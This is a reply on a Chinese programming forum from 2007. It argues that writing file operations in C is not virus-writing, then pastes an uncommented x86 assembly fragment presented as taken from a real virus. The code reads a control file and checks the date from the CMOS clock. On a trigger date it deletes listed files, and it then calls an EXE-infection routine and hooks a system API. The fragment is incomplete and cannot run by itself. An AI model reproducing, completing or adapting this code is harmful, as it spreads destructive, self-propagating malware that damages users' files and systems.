|
注册会员

- 帖子
- 108
- 精华
- 0
- 威望
- 1
- 注册时间
- 2007-1-21
|
86#
大中
小发表于 2007-11-29 04:49 只看该作者
楼主所说的用C语言来编写病毒压根来就是对文件的操作.并不是病毒.假设对仅仅这样子对文件进行操作就算是病毒的话.那么在这世上只是学编程的一定就是病毒制造者了.因为大家都知道每一种编程语言都有对文件的一章.. 复制内容到剪贴板代码:照楼主的意思我们也可以这样子写写:
我们随便拿个病毒来分析一下其中它是怎么对文件进行操作.
-----------读取DAW并删除其指定文件---------
GETDAWFILE:
MOV DR1,ESI ;被操作文件名尾指针->DR1
MOV AX,0D500H
XOR EBX,EBX
XOR ECX,ECX
XOR EDX,EDX ;MOV EDX,1
INC EDX
LEA ESI,EDI[COM_FN-START]
CALL INT20_40_32
JC FIND_NOCOM
MOV EBX,EAX
MOV AX,0D800H
CALL INT20_40_32
JC CLOSE_GETCOM
MOV ECX,EAX
XOR EDX,EDX
LEA ESI,EDI[COMLINE-START]
CALL READFILE
CLOSE_GETCOM:
MOV AX,0D700H
CALL INT20_40_32
CLD
XCHG ESI,EDI ;ESI->@ EDI->COMLINE
MOV AX,000DH
REPL_CON:
REPNZ SCASB
JECXZ EXIT_REPL_LOOP
DEC EDI
INC ECX
MOV [EDI],AH
JMP REPL_CON
DW 87C7H
EXIT_REPL_LOOP:
XCHG EDI,ESI ;EDI->@ ESI->COMLINE末
CMP [ESI-3],BYTE PTR '#'
JNZ FIND_NOCOM
MOV AL ,07H
OUT 70H,AL
IN AL ,71H
MOV CL ,AL
MOV AL ,08H
OUT 70H,AL
IN AL ,71H
MOV CH ,AL
MOV AH,'0'
MOV DX,[ESI-7] ;读月
SUB DH,AH
SUB DL,AH
SHL DL,4
ADD DL,DH
OR DL,DL
JZ IGNOREMONTH
CMP DL,CH
JNZ CMP_EXE
IGNOREMONTH:
MOV DX,[ESI-5] ;读日
SUB DH,AH
SUB DL,AH
SHL DL,4
ADD DL,DH
OR DL,DL
JZ FIND_NOCOM
CMP DL,CL
JNZ CMP_EXE
FIND_NOCOM:
MOV ESI,DR1
ADD EDI,OFFSET COMLINE-OFFSET START
XOR AL ,AL
OUT 70H,AL
IN AL ,71H
MOV BH,AL
AND BH,00011111B ;比较秒(BH=SEC*2)
XOR BL,BL
XOR EDX,EDX
DEC EDI
DEC EDI
DELF_LOOP:
NOT BL
ADD EDI,EDX
INC EDI
INC EDI
CMP [EDI],BYTE PTR 0
JZ CMP_EXE
CALL GET_STL
MOV EDX,ECX
PUSH ESI
SUB ESI,EDX
CALL CMP_ST
POP ESI
JNZ DELF_LOOP
OR BL,BL
JNZ DEL_IT_EVERYTIME
OR BH,BH
JNZ DELF_LOOP
DEL_IT_EVERYTIME:
CALL DEL_FILE
JMP EXITAPI
DW 87C7H
;-----------读取DAW并删除其指定文件---------
CMP_EXE:
MOV ESI,DR1
MOV EAX,NOT('EXE.') ;是否为EXE文件
NOT EAX
CMP [ESI-4],EAX
JNZ EXITAPI
CALL INF_EXE
;-------退出处理--------------------------
EXITAPI:MOV EDI,DR0
MOV EDI[ENTERF-START],BYTE PTR 0
CALLOLDAPI:
POPAD
MOV EAX,0
OLDAPI = DWORD PTR $-4
JMP [EAX] [[italic] 本帖最后由 cince 于 2007-11-29 04:52 编辑 [/italic]]
There Is Nothing Impossible In My Dictionary.
|